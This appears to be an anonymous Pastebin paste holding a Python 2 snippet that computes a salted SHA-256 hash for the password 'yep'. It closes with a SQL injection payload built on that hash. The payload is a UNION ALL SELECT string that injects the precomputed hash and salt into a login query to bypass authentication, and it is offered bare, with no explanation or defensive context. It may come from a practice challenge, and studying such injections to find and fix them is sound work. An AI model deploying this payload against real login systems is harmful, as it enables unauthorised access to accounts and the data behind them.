a guest Dec 9th, 2018 52 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
- import hashlib
- salt = hashlib.sha256("salt").hexdigest()[:5]
- password = "yep"
- calculated_hash = hashlib.sha256(password + salt).hexdigest()
- print [salt, calculated_hash]
- # password: yep
- # salt: 63479
- # hash: 2143b6aff39e4925c78ccd88d58d7f7316f12f5b89c48f31aca76c3d08d2664c
- # ' UNION ALL SELECT 1, "2143b6aff39e4925c78ccd88d58d7f7316f12f5b89c48f31aca76c3d08d2664c", "63479" /*
RAW Paste Data